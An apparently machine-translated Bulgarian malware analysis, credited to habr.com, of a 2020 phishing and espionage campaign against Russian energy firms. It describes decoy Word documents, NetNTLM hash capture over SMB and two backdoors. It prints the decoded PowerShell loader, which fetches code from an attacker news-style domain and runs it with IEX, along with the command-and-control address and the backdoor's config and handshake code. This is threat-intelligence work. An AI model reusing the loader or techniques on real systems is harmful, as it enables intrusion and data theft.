Разследваме целенасочена шпионска атака срещу руския горивно-енергиен комплекс

Нашият опит в разследването на инциденти с компютърната сигурност показва, че имейлът все още е един от най-разпространените канали, използвани от нападателите за първоначално проникване в атакуваните мрежови инфраструктури. Едно невнимателно действие със съмнително (или не толкова) писмо се превръща във входна точка за по-нататъшно заразяване, поради което киберпрестъпниците активно използват методи за социално инженерство, макар и с различна степен на успех.

В тази публикация искаме да говорим за нашето скорошно разследване на спам кампания, насочена към редица предприятия в руския горивно-енергиен комплекс. Всички атаки последваха един и същ сценарий, използвайки фалшиви имейли и изглежда никой не е положил много усилия в текстовото съдържание на тези имейли.

проучване

Всичко започна в края на април 2020 г., когато вирусните анализатори на Doctor Web засякоха спам кампания, при която хакери изпратиха актуализиран телефонен указател на служители на редица предприятия от руския горивно-енергиен комплекс. Разбира се, това не беше просто проява на загриженост, тъй като директорията не беше истинска и документите .docx изтеглиха две изображения от отдалечени ресурси.

Един от тях е изтеглен на компютъра на потребителя от сървъра на news[.]zannews[.]com. Трябва да се отбележи, че името на домейна е подобно на домейна на антикорупционния медиен център на Казахстан - zannews[.]kz. От друга страна, използваният домейн веднага напомни за друга кампания от 2015 г., известна като TOPNEWS, която използва заден ход на ICEFOG и има троянски контролни домейни с подниза „новини“ в техните имена. Друга интересна функция беше, че когато изпращате имейли до различни получатели, заявките за изтегляне на изображение използват или различни параметри на заявката, или уникални имена на изображения.

Вярваме, че това е направено с цел събиране на информация за идентифициране на „надежден“ адресат, който след това гарантирано ще отвори писмото в точния момент. Протоколът SMB е използван за изтегляне на изображението от втория сървър, което може да се направи за събиране на NetNTLM хешове от компютрите на служителите, отворили получения документ.

А ето и самото писмо с фалшивия указател:

През юни тази година хакерите започнаха да използват ново име на домейн, sports[.]manhajnews[.]com, за да качват изображения. Анализът показа, че поддомейните manhajnews[.]com са били използвани в спам съобщения поне от септември 2019 г. Една от целите на тази кампания беше голям руски университет.

Освен това до юни организаторите на атаката излязоха с нов текст за своите писма: този път документът съдържаше информация за развитието на индустрията. Текстът на писмото ясно показваше, че неговият автор или не е роден на руски, или умишлено създава такова впечатление за себе си. За съжаление, идеите за развитие на индустрията, както винаги, се оказаха само прикритие - документът отново изтегли две изображения, докато сървърът беше променен на изтегляне[.]inklingpaper[.]com.

Следващото нововъведение последва през юли. В опит да заобиколят откриването на злонамерени документи от антивирусни програми, нападателите започнаха да използват документи на Microsoft Word, криптирани с парола. В същото време нападателите решиха да използват класическа техника за социално инженерство - известяване с награда.

Текстът на призива отново е написан в същия стил, което буди допълнително подозрение у адресата. Сървърът за изтегляне на изображението също не се промени.

Имайте предвид, че във всички случаи за изпращане на писма са използвани електронни пощенски кутии, регистрирани в домейните mail[.]ru и yandex[.]ru.

атака

В началото на септември 2020 г. беше време за действие. Нашите вирусни анализатори регистрираха нова вълна от атаки, при които нападателите отново изпращаха писма под предлог, че актуализират телефонен указател. Този път обаче прикаченият файл съдържа злонамерен макрос.

При отваряне на прикачения документ макросът създаде два файла:

• VBS скрипт %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, който беше предназначен за стартиране на пакетен файл;
• Самият пакетен файл %APPDATA%configstest.bat, който беше обфусциран.

Същността на неговата работа се свежда до стартиране на обвивката Powershell с определени параметри. Параметрите, предадени на обвивката, се декодират в команди:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Както следва от представените команди, домейнът, от който се изтегля полезният товар, отново е маскиран като новинарски сайт. Едно просто товарач, чиято единствена задача е да получи shellcode от командния и контролен сървър и да го изпълни. Успяхме да идентифицираме два типа задни врати, които могат да бъдат инсталирани на компютъра на жертвата.

BackDoor.Siggen2.3238

Първият е BackDoor.Siggen2.3238 — нашите специалисти не са се сблъсквали преди и също така нямаше споменавания за тази програма от други доставчици на антивирусни програми.

Тази програма е задна врата, написана на C++ и работеща на 32-битови операционни системи Windows.

BackDoor.Siggen2.3238 може да комуникира със сървъра за управление, използвайки два протокола: HTTP и HTTPS. Тестваната проба използва HTTPS протокол. Следният потребителски агент се използва в заявки към сървъра:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

В този случай всички заявки се доставят със следния набор от параметри:

%s;type=%s;length=%s;realdata=%send

където всеки ред %s е съответно заменен с:

• ID на заразения компютър,
• вид на изпращаната заявка,
• дължина на данните в полето realdata,
• данни.

На етапа на събиране на информация за заразената система, задната врата генерира ред като:

lan=%s;cmpname=%s;username=%s;version=%s;

където lan е IP адресът на заразения компютър, cmpname е името на компютъра, username е потребителското име, версията е редът 0.0.4.03.

Тази информация с идентификатора на sysinfo се изпраща чрез POST заявка до контролния сървър, намиращ се на https[:]//31.214[.]157.14/log.txt. Ако в отговор BackDoor.Siggen2.3238 получава сигнала HEART, връзката се счита за успешна и задната врата започва основния цикъл на комуникация със сървъра.

По-пълно описание на принципите на работа BackDoor.Siggen2.3238 е в нашия вирусна библиотека.

BackDoor.Whitebird.23

Втората програма е модификация на задната вратичка BackDoor.Whitebird, вече позната ни от инцидента с държавна агенция в Казахстан. Тази версия е написана на C++ и е проектирана да работи както на 32-битови, така и на 64-битови операционни системи Windows.

Като повечето програми от този тип, BackDoor.Whitebird.23 предназначен за установяване на криптирана връзка с контролния сървър и неоторизиран контрол на заразен компютър. Инсталиран в компрометирана система с помощта на капкомер BackDoor.Siggen2.3244.

Извадката, която проверихме, беше злонамерена библиотека с два експорта:

• Google Play
• Тест.

В началото на своята работа той декриптира конфигурацията, свързана твърдо в задната врата, използвайки алгоритъм, базиран на операцията XOR с байт 0x99. Конфигурацията изглежда така:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

За да осигури постоянна работа, задната врата променя стойността, посочена в полето работни часове конфигурации. Полето съдържа 1440 байта, които приемат стойности 0 или 1 и представляват всяка минута от всеки час в деня. Създава отделна нишка за всеки мрежов интерфейс, която слуша интерфейса и търси пакети за оторизация на прокси сървъра от заразения компютър. Когато бъде открит такъв пакет, задната врата добавя информация за прокси сървъра към своя списък. Освен това проверява наличието на прокси чрез WinAPI InternetQueryOptionW.

Програмата проверява текущата минута и час и ги сравнява с данните в полето работни часове конфигурации. Ако стойността за съответната минута от деня не е нула, тогава се установява връзка с контролния сървър.

Установяването на връзка със сървъра симулира създаването на връзка с помощта на протокола TLS версия 1.0 между клиента и сървъра. Тялото на задната врата съдържа два буфера.

Първият буфер съдържа пакета TLS 1.0 Client Hello.

Вторият буфер съдържа TLS 1.0 Client Key Exchange пакети с дължина на ключа 0x100 байта, Change Cipher Spec, Encrypted Handshake Message.

Когато изпраща Client Hello пакет, задната врата записва 4 байта от текущото време и 28 байта псевдослучайни данни в полето Client Random, изчислено както следва:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Полученият пакет се изпраща на контролния сървър. Отговорът (Server Hello packet) проверява:

• съответствие с TLS протокол версия 1.0;
• съответствие на клеймото за време (първите 4 байта от полето за пакет с произволни данни), посочено от клиента, на клеймото за време, посочено от сървъра;
• съвпадение на първите 4 байта след клеймото за време в полето Random Data на клиента и сървъра.

В случай на посочените съвпадения, задната вратичка подготвя пакет за обмен на клиентски ключове. За да направи това, той променя публичния ключ в пакета за обмен на клиентски ключ, както и Encryption IV и Encryption Data в пакета Encrypted Handshake Message.

След това задната врата получава пакета от командния и контролен сървър, проверява дали версията на протокола TLS е 1.0 и след това приема още 54 байта (тялото на пакета). Това завършва настройката на връзката.

По-пълно описание на принципите на работа BackDoor.Whitebird.23 е в нашия вирусна библиотека.

Заключение и заключения

Анализът на документи, зловреден софтуер и използваната инфраструктура ни позволява да кажем с увереност, че атаката е подготвена от една от китайските APT групи. Като се има предвид функционалността на задните врати, които се инсталират на компютрите на жертвите в случай на успешна атака, заразяването води най-малко до кражба на поверителна информация от компютрите на атакуваните организации.

В допълнение, много вероятен сценарий е инсталирането на специализирани троянски коне на локални сървъри със специална функция. Това могат да бъдат домейн контролери, пощенски сървъри, интернет шлюзове и т.н. Както можем да видим в примера инцидент в Казахстан, такива сървъри са от особен интерес за нападателите по различни причини.

Източник: www.habr.com